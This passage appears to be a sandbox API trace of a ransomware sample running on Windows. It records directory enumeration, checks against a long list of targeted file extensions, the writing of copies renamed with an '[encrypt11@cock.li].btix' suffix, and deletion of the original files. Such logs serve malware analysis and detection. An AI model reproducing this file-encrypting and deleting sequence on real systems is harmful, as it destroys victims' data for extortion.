lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0070.931] GetLastError () returned 0x0 [0070.931] ReadFile (in: hFile=0x388, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x1c4, lpOverlapped=0x0) returned 1 [0070.932] WriteFile (in: hFile=0x370, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x1d0, lpOverlapped=0x0) returned 1 [0070.933] ReadFile (in: hFile=0x388, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.933] WriteFile (in: hFile=0x370, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xea, lpOverlapped=0x0) returned 1 [0070.938] SetEndOfFile (hFile=0x370) returned 1 [0070.938] CloseHandle (hObject=0x370) returned 1 [0070.938] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.938] SetEndOfFile (hFile=0x388) returned 1 [0070.939] CloseHandle (hObject=0x388) returned 1 [0070.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0070.939] DeleteFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins")) returned 1 [0070.940] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0070.940] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0070.940] lstrlenW (lpString=".doc") returned 4 [0070.940] lstrcmpiW (lpString1=".doc", lpString2=".ins") returned -1 [0070.940] lstrlenW (lpString=".docx") returned 5 [0070.940] lstrcmpiW (lpString1=".docx", lpString2="l.ins") returned -1 [0070.940] lstrlenW (lpString=".pdf") returned 4 [0070.940] lstrcmpiW (lpString1=".pdf", lpString2=".ins") returned 1 [0070.940] lstrlenW (lpString=".xls") returned 4 [0070.940] lstrcmpiW (lpString1=".xls", lpString2=".ins") returned 1 [0070.940] lstrlenW (lpString=".xlsx") returned 5 [0070.940] lstrcmpiW (lpString1=".xlsx", lpString2="l.ins") returned -1 [0070.940] lstrlenW (lpString=".ppt") returned 4 [0070.940] lstrcmpiW (lpString1=".ppt", lpString2=".ins") returned 1 [0070.940] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0070.940] lstrlenW (lpString=".zip") returned 4 [0070.940] lstrcmpiW (lpString1=".zip", lpString2=".ins") returned 1 [0070.940] lstrlenW (lpString=".rar") returned 4 [0070.940] lstrcmpiW (lpString1=".rar", lpString2=".ins") returned 1 [0070.940] lstrlenW (lpString=".bz2") returned 4 [0070.940] lstrcmpiW (lpString1=".bz2", lpString2=".ins") returned -1 [0070.940] lstrlenW (lpString=".7z") returned 3 [0070.940] lstrcmpiW (lpString1=".7z", lpString2="ins") returned -1 [0070.940] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0070.940] lstrlenW (lpString=".dbf") returned 4 [0070.940] lstrcmpiW (lpString1=".dbf", lpString2=".ins") returned -1 [0070.940] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0070.940] lstrlenW (lpString=".1cd") returned 4 [0070.940] lstrcmpiW (lpString1=".1cd", lpString2=".ins") returned -1 [0070.940] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins") returned 53 [0070.940] lstrlenW (lpString=".jpg") returned 4 [0070.940] lstrcmpiW (lpString1=".jpg", lpString2=".ins") returned 1 [0070.941] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.941] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.941] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0070.941] GetLastError () returned 0x0 [0070.941] ReadFile (in: hFile=0x388, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x8f840, lpOverlapped=0x0) returned 1 [0070.972] WriteFile (in: hFile=0x370, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x8f850, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x8f850, lpOverlapped=0x0) returned 1 [0070.979] ReadFile (in: hFile=0x388, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0070.979] WriteFile (in: hFile=0x370, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xe8, lpOverlapped=0x0) returned 1 [0070.980] SetEndOfFile (hFile=0x370) returned 1 [0070.980] CloseHandle (hObject=0x370) returned 1 [0070.980] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0070.980] SetEndOfFile (hFile=0x388) returned 1 [0070.999] CloseHandle (hObject=0x388) returned 1 [0070.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0070.999] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 1 [0070.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0070.999] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0070.999] lstrlenW (lpString=".doc") returned 4 [0070.999] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0070.999] lstrlenW (lpString=".docx") returned 5 [0070.999] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1 [0070.999] lstrlenW (lpString=".pdf") returned 4 [0071.000] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.000] lstrlenW (lpString=".xls") returned 4 [0071.000] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.000] lstrlenW (lpString=".xlsx") returned 5 [0071.000] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1 [0071.000] lstrlenW (lpString=".ppt") returned 4 [0071.000] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0071.000] lstrlenW (lpString=".zip") returned 4 [0071.000] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.000] lstrlenW (lpString=".rar") returned 4 [0071.000] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.000] lstrlenW (lpString=".bz2") returned 4 [0071.000] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.000] lstrlenW (lpString=".7z") returned 3 [0071.000] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0071.000] lstrlenW (lpString=".dbf") returned 4 [0071.000] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0071.000] lstrlenW (lpString=".1cd") returned 4 [0071.000] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49 [0071.000] lstrlenW (lpString=".jpg") returned 4 [0071.000] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.004] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.005] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.005] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0071.005] GetLastError () returned 0x0 [0071.005] ReadFile (in: hFile=0x370, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x7440, lpOverlapped=0x0) returned 1 [0071.539] WriteFile (in: hFile=0x320, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x7450, lpOverlapped=0x0) returned 1 [0071.540] ReadFile (in: hFile=0x370, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.541] WriteFile (in: hFile=0x320, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.541] SetEndOfFile (hFile=0x320) returned 1 [0071.541] CloseHandle (hObject=0x320) returned 1 [0071.541] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.541] SetEndOfFile (hFile=0x370) returned 1 [0071.542] CloseHandle (hObject=0x370) returned 1 [0071.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0071.542] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 1 [0071.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0071.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0071.542] lstrlenW (lpString=".doc") returned 4 [0071.542] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.542] lstrlenW (lpString=".docx") returned 5 [0071.543] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0071.543] lstrlenW (lpString=".pdf") returned 4 [0071.543] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.543] lstrlenW (lpString=".xls") returned 4 [0071.543] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.543] lstrlenW (lpString=".xlsx") returned 5 [0071.543] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0071.543] lstrlenW (lpString=".ppt") returned 4 [0071.543] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0071.543] lstrlenW (lpString=".zip") returned 4 [0071.543] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.543] lstrlenW (lpString=".rar") returned 4 [0071.543] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.543] lstrlenW (lpString=".bz2") returned 4 [0071.543] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.543] lstrlenW (lpString=".7z") returned 3 [0071.543] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0071.543] lstrlenW (lpString=".dbf") returned 4 [0071.543] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0071.543] lstrlenW (lpString=".1cd") returned 4 [0071.543] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll") returned 51 [0071.543] lstrlenW (lpString=".jpg") returned 4 [0071.543] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.543] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.544] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.544] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0071.544] GetLastError () returned 0x0 [0071.544] ReadFile (in: hFile=0x370, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x21440, lpOverlapped=0x0) returned 1 [0071.579] WriteFile (in: hFile=0x320, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x21450, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x21450, lpOverlapped=0x0) returned 1 [0071.581] ReadFile (in: hFile=0x370, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.582] WriteFile (in: hFile=0x320, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xe4, lpOverlapped=0x0) returned 1 [0071.582] SetEndOfFile (hFile=0x320) returned 1 [0071.582] CloseHandle (hObject=0x320) returned 1 [0071.582] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.582] SetEndOfFile (hFile=0x370) returned 1 [0071.583] CloseHandle (hObject=0x370) returned 1 [0071.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0071.584] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 1 [0071.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0071.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0071.584] lstrlenW (lpString=".doc") returned 4 [0071.584] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.584] lstrlenW (lpString=".docx") returned 5 [0071.584] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0071.584] lstrlenW (lpString=".pdf") returned 4 [0071.584] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.584] lstrlenW (lpString=".xls") returned 4 [0071.584] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.584] lstrlenW (lpString=".xlsx") returned 5 [0071.584] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0071.584] lstrlenW (lpString=".ppt") returned 4 [0071.584] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0071.584] lstrlenW (lpString=".zip") returned 4 [0071.584] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.584] lstrlenW (lpString=".rar") returned 4 [0071.584] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.584] lstrlenW (lpString=".bz2") returned 4 [0071.584] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.584] lstrlenW (lpString=".7z") returned 3 [0071.584] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0071.585] lstrlenW (lpString=".dbf") returned 4 [0071.585] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0071.585] lstrlenW (lpString=".1cd") returned 4 [0071.585] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll") returned 47 [0071.585] lstrlenW (lpString=".jpg") returned 4 [0071.585] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.585] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.585] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.585] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.590] GetLastError () returned 0x0 [0071.590] ReadFile (hFile=0x370, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0) Thread: id = 16 os_tid = 0x49c [0040.833] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x3c40938 [0040.833] lstrlenW (lpString="C:") returned 2 [0040.833] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x32afcf8 | out: lpFindFileData=0x32afcf8) returned 0x6a9918 [0040.833] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0040.833] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0040.833] lstrlenW (lpString="$GetCurrent") returned 11 [0040.833] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0040.833] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x3c50940 [0040.834] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0040.834] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 0x42800c0 [0040.935] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0040.936] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0040.936] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0040.936] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0040.936] lstrlenW (lpString="Logs") returned 4 [0040.936] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0040.936] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0040.936] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0040.936] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280380 [0040.942] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0040.942] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0040.943] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0040.943] lstrlenW (lpString=".1cd") returned 4 [0040.943] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0040.943] lstrlenW (lpString=".3ds") returned 4 [0040.943] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0040.943] lstrlenW (lpString=".3fr") returned 4 [0040.943] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0040.943] lstrlenW (lpString=".3g2") returned 4 [0040.943] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0040.943] lstrlenW (lpString=".3gp") returned 4 [0040.943] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0040.943] lstrlenW (lpString=".7z") returned 3 [0040.943] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0040.943] lstrlenW (lpString=".accda") returned 6 [0040.943] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0040.943] lstrlenW (lpString=".accdb") returned 6 [0040.943] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0040.943] lstrlenW (lpString=".accdc") returned 6 [0040.943] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0040.943] lstrlenW (lpString=".accde") returned 6 [0040.943] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0040.943] lstrlenW (lpString=".accdt") returned 6 [0040.943] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0040.943] lstrlenW (lpString=".accdw") returned 6 [0040.943] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0040.943] lstrlenW (lpString=".adb") returned 4 [0040.943] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0040.944] lstrlenW (lpString=".adp") returned 4 [0040.944] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0040.944] lstrlenW (lpString=".ai") returned 3 [0040.944] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0040.944] lstrlenW (lpString=".ai3") returned 4 [0040.944] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0040.944] lstrlenW (lpString=".ai4") returned 4 [0040.944] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0040.944] lstrlenW (lpString=".ai5") returned 4 [0040.944] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0040.944] lstrlenW (lpString=".ai6") returned 4 [0040.944] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0040.944] lstrlenW (lpString=".ai7") returned 4 [0040.944] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0040.944] lstrlenW (lpString=".ai8") returned 4 [0040.944] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0040.944] lstrlenW (lpString=".anim") returned 5 [0040.944] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0040.944] lstrlenW (lpString=".arw") returned 4 [0040.944] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0040.944] lstrlenW (lpString=".as") returned 3 [0040.944] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0040.944] lstrlenW (lpString=".asa") returned 4 [0040.944] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0040.944] lstrlenW (lpString=".asc") returned 4 [0040.944] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0040.944] lstrlenW (lpString=".ascx") returned 5 [0040.944] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0040.944] lstrlenW (lpString=".asm") returned 4 [0040.945] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0040.945] lstrlenW (lpString=".asmx") returned 5 [0040.945] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0040.945] lstrlenW (lpString=".asp") returned 4 [0040.945] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0040.945] lstrlenW (lpString=".aspx") returned 5 [0040.945] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0040.945] lstrlenW (lpString=".asr") returned 4 [0040.945] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0040.945] lstrlenW (lpString=".asx") returned 4 [0040.945] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0040.945] lstrlenW (lpString=".avi") returned 4 [0040.945] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0040.945] lstrlenW (lpString=".avs") returned 4 [0040.945] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0040.945] lstrlenW (lpString=".backup") returned 7 [0040.945] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0040.945] lstrlenW (lpString=".bak") returned 4 [0040.945] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0040.945] lstrlenW (lpString=".bay") returned 4 [0040.945] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0040.945] lstrlenW (lpString=".bd") returned 3 [0040.945] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0040.945] lstrlenW (lpString=".bin") returned 4 [0040.945] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0040.945] lstrlenW (lpString=".bmp") returned 4 [0040.945] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0040.945] lstrlenW (lpString=".bz2") returned 4 [0040.945] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0040.945] lstrlenW (lpString=".c") returned 2 [0040.946] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0040.946] lstrlenW (lpString=".cdr") returned 4 [0040.946] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0040.946] lstrlenW (lpString=".cer") returned 4 [0040.946] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0040.946] lstrlenW (lpString=".cf") returned 3 [0040.946] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0040.946] lstrlenW (lpString=".cfc") returned 4 [0040.946] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0040.946] lstrlenW (lpString=".cfm") returned 4 [0040.946] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0040.946] lstrlenW (lpString=".cfml") returned 5 [0040.946] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0040.946] lstrlenW (lpString=".cfu") returned 4 [0040.946] lstrcmpiW 